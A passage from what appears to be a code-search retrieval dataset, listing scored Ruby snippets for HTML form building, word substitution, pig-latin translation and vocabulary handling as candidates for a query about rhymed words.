"docid": "b3762558c695e5dd711bb270dc0aac33",
"score": "0.5497777",
"text": "def default_field_template(l = {})\n <<-END\n <div id=\"#{l[:div_id]}\" class=\"field\">\n #{l[:label]}<br />\n #{l[:element]}#{l[:decoration]}\n #{\"<p class=\\\"field_description\\\">#{l[:description]}</p>\" unless l[:description].blank?}\n </div>\n END\n end",
"title": ""
},
{
"docid": "7efbff6c33a9bf421c70d77d2444b764",
"score": "0.549742",
"text": "def call(form, opts, &block)\n form.tag(:div, opts[:attr], &block)\n end",
"title": ""
},
{
"docid": "1d24250264d85cdd55e3e3e34488ac9e",
"score": "0.5496612",
"text": "def form_partial_locals(args)\n output = super\n output[:options] = []\n field_options.each do |option|\n # rails is screwing up the ids just for the checkbox field\n # this is a (hopefully) temporary solution/hack to get the id right (JH 3-29-2012)\n # another possibility would be to update the html attributes method and add fsa and fsc arguments to it\n adjusted_html_attributes = html_attribute_hash.merge({\n :id => \"#{DynamicFieldsets.config.form_fieldset_associator_prefix}#{args[:fsa].id}_#{DynamicFieldsets.config.form_field_prefix}#{args[:fieldset_child].id}_#{option.id.to_s}\"\n });\n\n output[:options] << {\n :name => \"#{DynamicFieldsets.config.form_fieldset_associator_prefix}#{args[:fsa].id}[#{DynamicFieldsets.config.form_field_prefix}#{args[:fieldset_child].id}][]\",\n :value => option.id.to_s,\n :checked => values_or_defaults_for_form(args[:values]).include?(option.id.to_s),\n :label => option.name,\n :html_attributes => adjusted_html_attributes,\n }\n end\n return output\n end",
"title": ""
},
{
"docid": "40891d8ac53062575af36129fe61fac4",
"score": "0.548951",
"text": "def html_form(*)\n super do |field|\n [ field.text_area(:query, rows: 3, mandatory: true),\n field.select(:category_id, Category.all, size: 3),\n field.check_box_inline(:active),\n field.date(:expires_on),\n field.submit\n ]\n end\n end",
"title": ""
},
{
"docid": "8999fb973130ccad0196c2cdf2977d54",
"score": "0.5488377",
"text": "def build(form_errors = {})\n @form_errors = form_errors\n @g.form(@form_args) do\n ## form validation summary\n if ( @form_errors!=nil && @error_encart_args && @form_errors.size>0)\n @error_encart_args[:title] = \"#{@form_errors.size} error(s) prohibited this form from being saved\" unless @error_encart_args[:title]\n @g.div(:id=>@error_encart_args[:id],:class=>@error_encart_args[:class]) {\n @g.h2(\"#{@error_encart_args[:title]}\")\n @g.p(\"#{@error_encart_args[:subtitle]}\")\n @g.ul() {\n @form_errors.each_pair { |name, val| @g.li(\"#{name} : #{val}\") }\n }\n }\n end\n ## now yeld block instructions\n if block_given?\n @g.fieldset do\n yield self\n end\n end\n end\n end",
"title": ""
},
{
"docid": "88b96c349f1a02b49c377c5aada4cc79",
"score": "0.5480697",
"text": "def call(form, opts, &block)\n attr = opts[:attr] ? opts[:attr].dup : { :class=>'table table-bordered'}\n form.tag(:table, attr) do\n if legend = opts[:legend]\n form.tag(:caption, opts[:legend_attr], legend)\n end\n\n if (labels = opts[:labels]) && !labels.empty?\n form.tag(:tr, {}, labels.map{|l| form._tag(:th, {}, l)})\n end\n\n yield\n end\n end",
"title": ""
}
] |
b5697e2e53c96b5096b30bc8cd360514
|
HOLDS RHYMED WORDS AS PAIR PUTS TO VIEW
|
[
{
"docid": "91b64c9837b39390d797d5e45f1d28b6",
"score": "0.56816745",
"text": "def rhymed_to_s\n\n @rhymed_word_collection << @rhymed_words\n end",
"title": ""
}
] |
[
{
"docid": "e4d26133c0fda0af076a83cd86a76390",
"score": "0.6067544",
"text": "def switch_viewpoint (words)\n new_string = \"\"\n \n words.split.each do |word|\n if(@viewpoints[word.downcase])\n word = @viewpoints[word.downcase][0]\n end\n \n new_string += word + \" \"\n end\n \n # trim trailing space\n new_string.chop\n end",
"title": ""
},
{
"docid": "d64fe6d111d8d527631c77b16cd6e1dc",
"score": "0.5920552",
"text": "def word_with_guesses\n w_hold = @word\n word_array= @word.chars\n guess_right= @@guesses_right_far\n s_out = \"\"\n indices = []\n word_array.each do |x|\n indez = w_hold.index(x)\n\n indices.push(indez)\n w_hold[indez] = \"/\"\n\n if (guess_right.include?(x))\n s_out.insert(indez,x)\n elsif indices.include?(indez)\n s_out.insert(indez,\"-\")\n else\n s_out.insert(indez,\"-\")\n end\n end\n return s_out\n end",
"title": ""
},
{
"docid": "60884b6bc8c422d0de4ea671fd2c27da",
"score": "0.5838587",
"text": "def index\n @word_porns = WordPorn.all\n end",
"title": ""
},
{
"docid": "f5174cb9d036ef06b96cf310c9e0e639",
"score": "0.5822205",
"text": "def index\n\t\t@words = Word.all\n\t\t# render text: @words.map { |i| \"#{i.russian}: --- #{i.greek} --- #{i.latin} --- #{i.english} --- #{i.french} --- #{i.german} --- #{i.dutch} --- #{i.spanish} --- #{i.italian} --- #{i.hungarian} --- #{i.croatian} \" }.join(\"<br/>\" )\n\tend",
"title": ""
},
{
"docid": "7b50403edd0edbae9522ca6e2c3ff4dc",
"score": "0.57684875",
"text": "def all_phrases\n mario\n toadstool\n link\nend",
"title": ""
},
{
"docid": "0f48bc31b1901f5914c03654ae363d74",
"score": "0.5705044",
"text": "def phrases; end",
"title": ""
},
{
"docid": "a98394f00d7c5226473829fd2bcbfe9c",
"score": "0.5642882",
"text": "def word_substituter(tweet)\n new_array = []\n long_words = dictionary.keys\n \n tweet_words = tweet.split\n \n tweet_words.each do |word|\n curWord = word.downcase\n if dictionary.has_key?(curWord)\n new_array << dictionary.fetch(curWord)\n else\n new_array << word\n end\n end\n new_array.join(\" \")\nend",
"title": ""
},
{
"docid": "5a497e32e65c3d4b4aa9d3bde7c7d9a2",
"score": "0.559702",
"text": "def homonyms\n Word.where(text: self.text).sort_by(&:paradigm_id)\n end",
"title": ""
},
{
"docid": "7a326b3a81f226aa460c8367a4da45b3",
"score": "0.55969214",
"text": "def list_path_words\r\n @vocabulary_list.each do |words|\r\n puts \"In vocabulary #{query_name(words)}:\"\r\n buffer = ''\r\n \r\n words.sort.each do |k,v|\r\n if v.immediate?\r\n temp = \" #{k.ljust(12)}!\"\r\n else\r\n temp = \" #{k.ljust(12)} \"\r\n end\r\n \r\n if buffer.length + temp.length > 78\r\n puts buffer\r\n buffer = ''\r\n end\r\n\r\n buffer << temp\r\n end\r\n \r\n puts buffer if buffer.length > 0\r\n end\r\n end",
"title": ""
},
{
"docid": "37462f4cfa31c1a6d3e4bfeeb4a9c7a3",
"score": "0.5586019",
"text": "def write_word\n view_word = @word\n @word.chars.each do |c|\n if !@guessed.include? c then\n view_word = view_word.gsub(/#{c}/, ' _ ')\n end\n end\n return view_word\n end",
"title": ""
},
{
"docid": "3d47b17275df9d09156648d4315c1a23",
"score": "0.5584355",
"text": "def update_pose_words\n\n # Step 1: get an array of all words for the current object.\n search_text = instance_eval &(self.class.pose_content)\n new_words = Pose::Helpers.query_terms search_text.to_s\n\n # Step 2: Add new words to the search index.\n Pose::Helpers.get_words_to_add(self.pose_words, new_words).each do |word_to_add|\n self.pose_words << PoseWord.find_or_create_by_text(word_to_add)\n end\n\n # Step 3: Remove now obsolete words from search index.\n Pose::Helpers.get_words_to_remove(self.pose_words, new_words).each do |word_to_remove|\n self.pose_words.delete word_to_remove\n end\n end",
"title": ""
},
{
"docid": "16ac9ee8d573f891c9e379a45421a6d1",
"score": "0.5583038",
"text": "def new_words\n {\n 'verb' => %w{ run sit drive throw bask drill eat debug code blend dry corrupt cook\n specify outlaw dance pry define blast negotiate puncture}.shuffle,\n 'noun' => %w{egg winnebaego star demon tree pylon bottle grasshopper\n existence pressure computation whirlpool molecule identity}.shuffle,\n 'adjective' => %w{purple crazy deep fishy large airy wide ecstatic taciturn\n obtuse derelict immense spongey gross illicit generic}.shuffle,\n 'pluralnoun' => %w{rubber quarks rabbits keyboards cacti bacon tests\n headphones fish arrays worts desktops semicolons}.shuffle,\n }\nend",
"title": ""
},
{
"docid": "33d2d6b46fe6069280cbbf1c742b5c29",
"score": "0.55695796",
"text": "def randsentences\r\n if @sentences > @paragraphs && @sentences > @pages\r\n elsif @paragraphs > @sentences && @paragraphs > @pages\r\n @sentences = @paragraphs*15\r\n elsif @pages > @sentences && @pages > @paragraphs\r\n @sentences = @pages*25\r\n end\r\n\r\n @sentences -= 1\r\n synonyms = Dinosaurus.synonyms_of(@word)\r\n synonyms += Dinosaurus.synonyms_of(@word2)\r\n\r\n word_array = synonyms.uniq\r\n\r\n lookup = Dinosaurus.lookup(@word)\r\n @nouns = lookup[\"noun\"][\"syn\"]\r\n @verbs = lookup[\"verb\"][\"syn\"]\r\n\r\n second_lookup = Dinosaurus.lookup(@word2)\r\n @nouns += second_lookup[\"noun\"][\"syn\"]\r\n @verbs += second_lookup[\"verb\"][\"syn\"]\r\n\r\n third_lookup = Dinosaurus.lookup(@word3)\r\n if third_lookup.keys.include?(\"noun\")\r\n third_nouns = third_lookup[\"noun\"][\"syn\"]\r\n else\r\n @nouns = []\r\n end\r\n\r\n third_verbs = third_lookup[\"verb\"][\"syn\"]\r\n\r\n @nouns += third_nouns\r\n @verbs += third_verbs\r\n\r\n @starting_words = [\"The\", \"A\", \"An\", \"They\", \"There\"]\r\n @sentence_array = []\r\n @firstsentence = \"Lorem ipsum #{@word} #{@word2} #{@word3}. \"\r\n @sentence_array.push @firstsentence\r\n\r\n @sentences.times do\r\n @next_sentence = \"#{@starting_words.sample} #{@nouns.sample} #{@nouns.sample} #{@verbs.sample}. \"\r\n @sentence_array.push @next_sentence\r\n end\r\n@sentence_array.join(\"\")\r\n end",
"title": ""
},
{
"docid": "8339f4738879be047f88128b64001665",
"score": "0.55634344",
"text": "def word_filter\n [\n { part_of_speech: :noun },\n { part_of_speech: :adjective, subclass: :na_adjective }\n ]\n end",
"title": ""
},
{
"docid": "b201162e4c587d9d64a8ef62f4dca9cf",
"score": "0.5559564",
"text": "def show\n @words = @dictionary.words.paginate(:page => params[:page], :per_page => 10, :order => \"transcription ASC\")\n @allwords = Word.all\n end",
"title": ""
},
{
"docid": "ced0044ecacbbef8e27775fa63ea89d7",
"score": "0.55518997",
"text": "def normalize_words words\nend",
"title": ""
},
{
"docid": "188c5a78dfd62ebce68a4abf112966e4",
"score": "0.5550701",
"text": "def word_substituter(tweet)\n shortened = []\n\n tweet_words = tweet.split\n\n tweet_words.each do |word|\n short_form = dictionary(word.downcase)\n if short_form\n shortened << short_form\n else\n shortened << word\n end\n end\n\n shortened.join(' ')\nend",
"title": ""
},
{
"docid": "89e445f8d8de6deabca8819d8ae568e8",
"score": "0.5547298",
"text": "def show\n across_crosswords = @word.across_crosswords\n down_crosswords = @word.down_crosswords\n @count = across_crosswords.length + down_crosswords.length\n @crosswords = (across_crosswords + down_crosswords).uniq.sort{|x,y| x.title <=> y.title}\n\n @clues = @word.clues.sort{|x,y| x.difficulty <=> y.difficulty}\n end",
"title": ""
},
{
"docid": "9548469502d7226e0f1bdf170865e67f",
"score": "0.5546316",
"text": "def Word(parts); end",
"title": ""
},
{
"docid": "6e488cdaeda2c621e8b5fe756ab1d58a",
"score": "0.5538646",
"text": "def word_browser\n @sentence = Sentence.find(params[:id])\n\n render(:partial => 'word_browser', :locals => {:words => @sentence.words})\n end",
"title": ""
},
{
"docid": "6eadcfc2b755855627b9812c95e17633",
"score": "0.55320734",
"text": "def translate(phrase) #splits up the phrase and passes each word into rearranage()\n #Joins back into a phrase for return after rearrange\n phrase.split(\" \").map { |word| rearrange(word) }.join(\" \") \nend",
"title": ""
},
{
"docid": "deffb1dc7f7ee16e9cae0c107e8bec07",
"score": "0.5528891",
"text": "def pigelate(word)\n if Vowels.include?(word[0]) #vowel_start?(word)\n word + \"way\" #process_vowel_start(word)\n elsif !Vowels.include?(word[0])# consonant_or_cluster_start?(word)\n cluster = leading_consonants(word)\n word = word[cluster.length..word.length]\n word + cluster + \"ay\"\n end\n end",
"title": ""
},
{
"docid": "0f8a80f8914121592c5ff129cf60c83f",
"score": "0.5523993",
"text": "def render_results_to_textbuffer(results, buffer)\n\t\tlast_word_id = nil\n\n\t\tresults.each { |result|\n\t\t\t# We can have many results with the same base word\n\t\t\t# (we expect them to be sorted by word or word_id)\n\t\t\tif last_word_id != result[:word_id]\n\t\t\t\t#\n\t\t\t\tword = SpanishWord.find(result[:word_id])\n\t\t\t\tdefinitions = word.english_words\n\n\t\t\t\t# blank line *between* different words (not before the first)\n\t\t\t\tbuffer.insert(buffer.end_iter, \"\\n\") unless last_word_id.nil?\n\n\t\t\t\t# show base word (\"hablar\")\n\t\t\t\tbuffer.insert(buffer.end_iter, word.word, 'header')\n\n\t\t\t\t# show word type (\"v.\")\n\t\t\t\tbuffer.insert(buffer.end_iter, ' ' + WORD_TYPE_NAMES[word.type] + '.', 'word-type')\n\n\t\t\t\t# show definition(s) in a comma-separated list (\"to speak, to talk\")\n\t\t\t\tbuffer.insert(buffer.end_iter, ' ' + definitions.map { |definition| definition['word'] }.join(\", \") + \"\\n\", 'definition')\n\t\t\tend\n\n\t\t\tif result[:word_type] == WORD_TYPE_VERB\n\t\t\t\t# show verb table for infinitives\n\t\t\t\tif result[:verb_tense] == VERB_TENSE_INFINITIVE\n\t\t\t\t\t# for each tense (past perfect, etc.)\n\t\t\t\t\tTENSE_NAMES.each_index { |tense|\n\t\t\t\t\t\tnext if TENSE_SHOW[tense] == false\t# some tenses aren't so useful...\n\n\t\t\t\t\t\t# show tense name (\"Past Perfect\")\n\t\t\t\t\t\tbuffer.insert(buffer.end_iter, \"\\n\" + TENSE_NAMES[tense] + \"\\n\", 'tense')\n\n\t\t\t\t\t\t# for each person (yo, tu, el, ...)\n\t\t\t\t\t\tVERB_PERSON_NAMES.each_index { |person|\n\t\t\t\t\t\t\tnext if VERB_PERSON_SHOW[person] == false\t\t# skip \"vosotros\" based on user settings\n\n\t\t\t\t\t\t\t# show conjugation\n\t\t\t\t\t\t\t# attempt to load irregular conjugation (only irregulars are stored in the DB)\n\t\t\t\t\t\t\tirregular_conjugation = SpanishVerbConjugation.where(:word_id => result[:word_id], :tense => tense, :person => person).first\n\t\t\t\t\t\t\tif irregular_conjugation\n\t\t\t\t\t\t\t\tbuffer.insert(buffer.end_iter, irregular_conjugation.conjugation.to_s, 'indent', 'irregular-conjugation')\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t# this verb is regular in this tense\n\t\t\t\t\t\t\t\tconjugation = conjugate(word.word, tense, person)\n\t\t\t\t\t\t\t\tnext if conjugation.nil?\t# some tenses (eg. gerund) don't have all persons\n\t\t\t\t\t\t\t\tbuffer.insert(buffer.end_iter, conjugation, 'indent', 'regular-conjugation')\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tbuffer.insert(buffer.end_iter, ' ' + VERB_PERSON_NAMES[person], 'person') if VERB_PERSON_NAMES[person] != ''\n\t\t\t\t\t\t\tbuffer.insert(buffer.end_iter, \"\\n\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t# not an infinitive\n\t\t\t\t\t# show the tense (\"past simple tense tú form\")\n\t\t\t\t\tbuffer.insert(buffer.end_iter, '↳ ' + TENSE_NAMES[result[:verb_tense]] + ' tense', 'word-details')\n\t\t\t\t\tbuffer.insert(buffer.end_iter, ' ' + VERB_PERSON_NAMES[result[:verb_person]] + ' form', 'word-details') if VERB_PERSON_NAMES[ result[:verb_person] ] != ''\n\t\t\t\t\tbuffer.insert(buffer.end_iter, \"\\n\")\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tlast_word_id = result[:word_id]\n\t\t}\n\tend",
"title": ""
},
{
"docid": "6e7ecbaa6e4a0eb9180f90c13ff9ad86",
"score": "0.5521494",
"text": "def chunk_by_phrases(key_array)\n out_array = []\n common_pre = /\\Aa|the\\z/i\n common_2b_verbs = /\\Ais|was|were|am|are|be\\z/i\n for k in (0..key_array.length-1)\n last = out_array.length - 1\n if (common_pre =~ key_array[k]) || (common_2b_verbs =~ key_array[k])\n out_arra y[last] = out_array[last].nil? ? key_array[k] : \"#{out_array[last]} #{key_array[k]}\"\n else\n out_array.push(key_array[k])\n end \n end\n return out_array\n end",
"title": ""
},
{
"docid": "d57fd28a07ae7f1072f7419e6a47c69e",
"score": "0.5497461",
"text": "def add(orig, all_words, viewed_words) \n\tresults = []\n\t#produce a word by adding one letter at a time\n\t(0..orig.length).each do |position|\n\t\t#iterate over all letters in the alphabet\n\t\t('a'..'z').each do |letter| \n\t\t\t#insert the letter\n\t\t\ttemp = orig[0,position] + letter + orig[position,orig.length-position]\n\t\t\t#collect the new word if we haven't collected it already, and we haven't come across it yet\n\t\t\tresults << temp if all_words.has_key?(temp) and not viewed_words.has_key?(temp)\n\t\tend\n\tend\n\tresults\nend",
"title": ""
},
{
"docid": "224fa7911e5fc90b980d102f16440bd3",
"score": "0.5495237",
"text": "def reverberate(sentence)\n words = sentence.split(' ')\n\n new_words = words.map do |word|\n word.length < 3 ? word : reverb(word)\n end\n\n new_words.join(' ')\nend",
"title": ""
},
{
"docid": "3dcfe62976f3f6598405e034324ee862",
"score": "0.54949015",
"text": "def hinter_words(exclude_revealed: true)\n to_show = exclude_revealed ? @words.values.reject(&:revealed) : @words.values\n grouped = to_show.group_by(&:role)\n grouped.map { |role, words| [role, words.map(&:word)] }.to_h\n end",
"title": ""
},
{
"docid": "5eba0f0e8329d49042af04f2918edd9c",
"score": "0.5494306",
"text": "def format_text(words)\n words.map do |word|\n format_val = self.send(:next)\n segment = \"\"\n\n # add whitespace\n while format_val.match(/^\\s+$/)\n segment += format_val\n format_val = self.send(:next)\n end\n\n segment += word\n end.join(\"\")\n end",
"title": ""
},
{
"docid": "960d62ef4fa5eb49eac508ccdddc856a",
"score": "0.5473533",
"text": "def build_suggestions\n\t\tsearch.hits.hits.each do |res|\t\n\t\t\tres.hightlight.name.each do |frag|\n\t\t\t\tsuggestion_key = \"\"\n\t\t\t\tfrag.scan(/\\<em\\>(?<word>[a-zA-Z0-9_\\s]+)\\<\\/em\\>/) { |match|\n\t\t\t\t\tjj = Regexp.last_match\n\t\t\t\t\tsuggestion_key += jj[:word]\n\t\t\t\t}\n\t\t\t\tsuggestion = Suggestion.new(:search_fragments => suggestion_key, :phrase => res._source.name)\n\t\t\t\tsuggestion.es_source = res._source\n\t\t\t\tself.suggestions << suggestion\n\t\t\tend\n\t\tend\n\n\t\tnoun_phrases = TermExtract.extract(self.sentence, :min_occurrence => 1, :min_terms => 1)\n\t\t\n\t\t((noun_phrases.keys) + (@tgr.get_verbs(self.tagged)).keys).each do |w|\n\t\t\tself.suggestions << Suggestion.new(:phrase => w)\n\t\tend \t\n\n\t\t#print_suggestions\n\n\tend",
"title": ""
},
{
"docid": "6f3f1086693e6e4969b6e999ad17b485",
"score": "0.54734474",
"text": "def on_show(article)\n \tnew_body = \"\"\n @user = current_user\n if article.body == nil or article.body == ''\n \treturn\n end\n\n body = article.body.split(//)\n body = body.uniq\n for char in body # KEY: Linear in article text size\n \t@word = Word.find_by_text(char) #KEY: Linear in word table\n # Word is one of the basic 2631 words.\n \tif @word != nil and @word.id != nil\n \t\tnew_body << char\n\t \t@kvector = Kvector.find(:first, :conditions => [\"user_id = ? AND word_id = ?\",\n\t \t\t@user.id, @word.id]) # KEY: Linear in kvector table\n\t \tif @kvector != nil\n\t \t\t@kvector.view_count += 1\n\t \t\t@kvector.save\n\t \telse # See for the first time\n\t \t\t@kvector = Kvector.create(:user_id => @user.id, :word_id => @word.id,\n\t \t\t\t:is_known => false, :view_count => 1)\n\t \t\t@kvector.save\n\t \tend\n \t\t# If has been seen 3 or more times, set to known.\n \t\tif @kvector.view_count >= 3\n \t\t\t@kvector.is_known = true\n \t\t\t@kvector.view_count = 0\n \t\t\t@kvector.save\n \t\tend\n\t # else # An unregistered word\n\t # \t@word = Word.create(:text => char, :difficulty => 6)\n\t # \t@word.save\n\t # \t@kvector = Kvector.create(:user_id => @user.id, :word_id => @word.id,\n\t # \t\t\t:is_known => false, :view_count => 1)\n\t # \t@kvector.save\n\t end\n\t end\n\n\t return new_body\n end",
"title": ""
},
{
"docid": "ee8c5a6310f3c0ed68fc8a23da8be8ce",
"score": "0.5469039",
"text": "def convert(snippet, phrase)\r\n rand_words = WORDS.sort_by {rand} # takes the word array and sorts randomly\r\n# creates the names from the word file, left uncapped, and can be found using the ### pattern in the questions\r\n class_names = craft_names(rand_words, snippet, /###/, caps=true)\r\n# creates other names from the word file, which are then capitalised, and can be\r\n# found using the pattern \\*\\*\\* in the questions\r\n other_names = craft_names(rand_words, snippet, /\\*\\*\\*/)\r\n# creates the parameter names using the pattern code @@@ in the questions above\r\n param_names = craft_params(rand_words, snippet, /@@@/)\r\n\r\n results = [] # creates an empty array/variable, wipes the old data too\r\n\r\n# this section then creates the question layout depending upon the pattern identifier\r\n# the result variable takes the names created and inserts them into the sentence at the identifier\r\n [snippet, phrase].each do |sentence|\r\n # fake class names, also copies sentence\r\n# Note that gsub inserts the class name into the sentence\r\n result = sentence.gsub(/###/) {|x| class_names.pop }\r\n\r\n# adds the other names to the identifiers in the sentence, captured above\r\n # fake other names\r\n result.gsub!(/\\*\\*\\*/) {|x| other_names.pop }\r\n\r\n# adds the other names to the identifiers in the sentence, captured above\r\n # fake parameter lists\r\n result.gsub!(/@@@/) {|x| param_names.pop}\r\n\r\n# adds the result to the array results\r\n results.push(result)\r\n end\r\n\r\n return results\r\nend",
"title": ""
},
{
"docid": "ce88865e89dae4d0e87dfa596cf71ab6",
"score": "0.54668176",
"text": "def put_word_under_rug\n qty_items = @entered_word\n blanks = \"\"\n @entered_word.length.times do |qty_items|\n blanks += \"(▰˘◡˘▰) \"\n end\n blanks\n end",
"title": ""
},
{
"docid": "61e002f2d7d2f0c198ce9de31d0f0732",
"score": "0.54652554",
"text": "def words\n # 2 players\n # 8 words total\n # 1 duplicate\n # 2 rejected (daen, dane (proper))\n # 5 words remaining\n { 'one' => ['deaden', 'dread', 'snap', 'daen', 'read'], 'two' => ['case', 'cased', 'snap', 'dane'] }\nend",
"title": ""
},
{
"docid": "b5b66771d2dab1c2a1c9ea66edf9d7bc",
"score": "0.5457345",
"text": "def phrase_show\n @print_guess = @guess_word.inject([]) { |a,element| a << element.dup }\n @print_guess.each { |letter| letter.gsub!((/\\w/), '_ ') }\n end",
"title": ""
},
{
"docid": "6fc104b9fdc811df8f5b7e461fd132ef",
"score": "0.5448995",
"text": "def make_word_phrase(array_of_words)\n array_of_words.each do |word|\n n = array_of_words.index(word)\n # Creates a two word array\n two_word = array_of_words[n..n+1]\n # Checks for the punctuations\n check_two(two_word)\n # Checks for two words\n if two_word[1].nil?\n two_word.clear\n else\n two_word.each do |c|\n # removes unnecessary punctuation\n strip_punct(c)\n end\n if proper_two(two_word)\n two_word = two_word.join(\" \")\n else\n two_word = two_word.join(\" \")\n end\n end\n # Creates a three word array\n three_word = array_of_words[n..n+2]\n # Checks for the punctuations\n check_three(three_word)\n if three_word[2].nil?\n three_word.clear\n else\n three_word.each do |c|\n strip_punct(c)\n end\n if proper_three(three_word)\n three_word = three_word.join(\" \")\n else\n three_word = three_word.join(\" \")\n end\n end\n end\n end",
"title": ""
},
{
"docid": "284c63f30b2b4509179c21a848f4c0f3",
"score": "0.54405713",
"text": "def lookup_parts_of_speech\n words = params[\"words\"]\n\n pos_hash = {}\n pos = []\n doc_exists = false\n\n # first check if anything was passed in, then iterate through each word in the array passed\n if words\n\n words.each do |w|\n Rails.logger.debug(\"---------------------------------------------\")\n Rails.logger.debug(\"word = #{w.downcase}\")\n # check to see if we have a document already for this word's parts of speech\n pos = get_document(\"pos::#{w.downcase}\")\n doc_exists = true if pos\n\n if pos\n pos_size = pos.size\n pos.delete_if {|p| p.nil? }\n\n if pos_size < pos.size\n replace_document(\"pos::#{w.downcase}\", pos)\n end\n end\n\n unless pos\n json = Wordnik.word.get_definitions(\"#{w.downcase}\", :use_canonical => true)\n\n Rails.logger.debug(json.pretty_inspect)\n # Iterate through each definition and gather potential parts of speech for the word as an array\n pos = []\n json.each do |j|\n\n this_pos = j[\"partOfSpeech\"]\n\n # if this part of speech is one of the many forms verbs can take, let's simplify it to just verb\n if this_pos != \"adverb\" && this_pos && this_pos.include?(\"verb\")\n this_pos = \"verb\"\n end\n\n # if it isn't already included, add to array, unless it can be an idiom, abbreviation, or interjection, we're trying to keep it simple here\n unless pos.include?(this_pos) || this_pos == \"idiom\" || this_pos == \"interjection\" || this_pos == \"abbreviation\"\n pos.push(this_pos)\n end\n end\n\n # after iterating through, let's clean a few things up, we have some things that are rare but true...\n pos = process_parts_of_speech_exceptions(w.downcase, pos)\n\n # clean up any nil's that happened to sneak into array from Wordnik...\n pos.delete_if {|p| p.nil? }\n\n begin\n replace_document(\"pos::#{w.downcase}\", pos)\n rescue Couchbase::Error::NotFound\n create_document(\"pos::#{w.downcase}\", pos)\n end\n\n end\n\n Rails.logger.debug(\"pos = \" + pos.inspect)\n\n # add this word to the hash, and go to the next word\n pos_hash[\"#{w}\".to_sym] = { :word => \"#{w}\", :pos => pos }\n Rails.logger.debug(\"---------------------------------------------\")\n end\n end\n\n Rails.logger.debug(pos_hash.pretty_inspect)\n\n # return the hash of parts of speech\n respond_to do |format|\n format.json { render :json => pos_hash.to_json }\n end\n end",
"title": ""
},
{
"docid": "3898caea7399109db9940b172daae598",
"score": "0.54357225",
"text": "def translate\n words.each do |word|\n if starts_with_vowel?(word)\n word + \"way\"\n else\n consonants = consequitive_consonants(word)\n word.gsub(/#{consonants}/, \"\") + consonants.to_s + \"ay\"\n end\n end\n end",
"title": ""
},
{
"docid": "fdc8ab87b069e84cc18c266a2f1e2c6f",
"score": "0.543342",
"text": "def convert (snippet, phrase)\n # sort the WORDS array randomly. rand_words is an array of the words in an random order\n rand_words = WORDS.sort_by {rand}\n # craft the class_names array\n class_names = craft_names(rand_words, snippet, /###/, caps=true)\n # craft the other_names array\n other_names = craft_names(rand_words, snippet, /\\*\\*\\*/)\n # craft the param_names array\n param_names = craft_params(rand_words, snippet, /@@@/)\n \n results = []\n \n # \"sentence\": do snippet, then phrase\n [snippet, phrase].each do |sentence|\n # replace all /###/ (stand for class name) with the last element of class_names\n result = sentence.gsub(/###/) {|x| class_names.pop}\n \n # replace all /\\*\\*\\*/ (stands for other names) with the last element of other_names\n result.gsub!(/\\*\\*\\*/) {|x| other_names.pop }\n \n # replace all /@@@/ with the last element of param_names\n result.gsub!(/@@@/) {|x| param_names.pop}\n \n # push the new \"sentence\" (now with the words put in) to the results array\n results.push(result)\n end\n \n return results\nend",
"title": ""
},
{
"docid": "e3cd9540cd1ee8560e6de72c74ccccaa",
"score": "0.54163295",
"text": "def phrases\n out = words.dup\n keys = subs.keys.each.to_a\n subs.keys.each do |key1|\n keys[(keys.index(key1) + 1..-1)].each do |key2|\n next unless self === subs[key1] + subs[key2] \n out.merge form_phrases(key1, key2)\n end\n end\n out\n end",
"title": ""
},
{
"docid": "a7050e2eff88936287a266c311198008",
"score": "0.5406703",
"text": "def pig_lat(txt)\n# slice it into words\n alpha = txt.split(' ')\n# slice it at the first vowel sound\n# put the beginning at the end\n\n# add 'ay' to the end\n alpha.each do |i|\n p i.concat('ay')\n end\nend",
"title": ""
},
{
"docid": "6a1ae8f2a2abcd23f60f979be8e3e05b",
"score": "0.5402751",
"text": "def visit_word(node)\n node.copy(parts: visit_all(node.parts))\n end",
"title": ""
},
{
"docid": "a6826b20cad5b8ccc4e4ce2b612d3eba",
"score": "0.5398352",
"text": "def words=(v); end",
"title": ""
},
{
"docid": "6a378362d5af444cf1f674668a2989a2",
"score": "0.539585",
"text": "def translate_sentance(sentance)\n @only_words = sentance.split(\" \")\n @only_words.length.times do |word|\n @translated[word] = translate_word(@only_words[word])\n end\n #breakpoint puts @only_words[word]\n return @translated.join(\" \")\nend",
"title": ""
},
{
"docid": "e2b6fdcd180d21429f5199904f585e23",
"score": "0.5391417",
"text": "def WordsBeg(value); end",
"title": ""
},
{
"docid": "6eea1014027fb8c60a3c67f88165492c",
"score": "0.5389317",
"text": "def see_word(keys, txt, res, wrd)\r\n @ii = 0\r\n while keys.key?(@ii)\r\n for_code_climate(keys, txt, res, wrd)\r\n @ii += 1\r\n end\r\n end",
"title": ""
},
{
"docid": "f505d839aee93ae9144537b5169b0f9c",
"score": "0.5379309",
"text": "def switch(orig, all_words, viewed_words)\n\tresults = []\n\t#produce a word by switching out one letter at a time\n\t(0..orig.length-1).each do |position|\n\t\t#iterate over all letters in the alphabet\n\t\t('a'..'z').each do |letter|\n\t\t\ttemp = orig.dup\n\t\t\t#replace the letter\n\t\t\ttemp[position]=letter\n\t\t\t#collect the new word if: \n\t\t\t# - the new word is not the same as the origional\n\t\t\t# - the new word has not already been collected \n\t\t\t# - we have not come across the word yet\n\t\t\tresults << temp if (temp != orig and all_words.has_key?(temp) and not viewed_words.has_key?(temp))\n\t\tend\n\tend\n\tresults\nend",
"title": ""
},
{
"docid": "02cd5d52128869448910e848182455b2",
"score": "0.537515",
"text": "def whisper_words(words)\n words.map { |arr| arr.downcase + \"... \" }\nend",
"title": ""
},
{
"docid": "752eca34d2f67a25cb967cff7ef416f6",
"score": "0.5369315",
